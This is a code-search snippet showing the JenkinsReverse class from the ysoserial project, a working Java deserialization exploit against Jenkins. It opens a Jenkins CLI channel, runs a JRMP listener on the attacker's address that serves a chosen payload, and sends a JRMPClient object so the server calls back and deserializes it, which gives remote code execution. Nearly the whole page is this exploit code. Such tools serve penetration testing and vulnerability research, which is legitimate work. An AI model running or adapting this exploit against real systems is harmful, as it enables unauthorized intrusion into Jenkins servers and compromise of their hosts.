Search in sources :

Example 1 with JRMPClient

use of ysoserial.payloads.JRMPClient in project ysoserial by frohoff.

the class JenkinsReverse method main.

public static final void main(final String[] args) {
    if (args.length < 4) {
        System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
        System.exit(-1);
    }
    final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
    String myAddr = args[1];
    int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
    String jenkinsUrl = args[0];
    Thread t = null;
    Channel c = null;
    try {
        InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
        c = JenkinsCLI.openChannel(isa);
        JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
        t = new Thread(listener, "ReverseDGC");
        t.setDaemon(true);
        t.start();
        Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
        c.call(JenkinsCLI.getPropertyCallable(payload));
        listener.waitFor(1000);
        listener.close();
    } catch (Throwable e) {
        e.printStackTrace();
    } finally {
        if (c != null) {
            try {
                c.close();
            } catch (IOException e) {
                e.printStackTrace(System.err);
            }
        }
        if (t != null) {
            t.interrupt();
            try {
                t.join();
            } catch (InterruptedException e) {
                e.printStackTrace(System.err);
            }
        }
    }
    Utils.releasePayload(args[2], payloadObject);
}
Also used : InetSocketAddress(java.net.InetSocketAddress) Channel(hudson.remoting.Channel) Registry(java.rmi.registry.Registry) IOException(java.io.IOException) Random(java.util.Random) JRMPListener(ysoserial.exploit.JRMPListener) JRMPClient(ysoserial.payloads.JRMPClient)

Aggregations

Channel (hudson.remoting.Channel)1 IOException (java.io.IOException)1 InetSocketAddress (java.net.InetSocketAddress)1 Registry (java.rmi.registry.Registry)1 Random (java.util.Random)1 JRMPListener (ysoserial.exploit.JRMPListener)1 JRMPClient (ysoserial.payloads.JRMPClient)1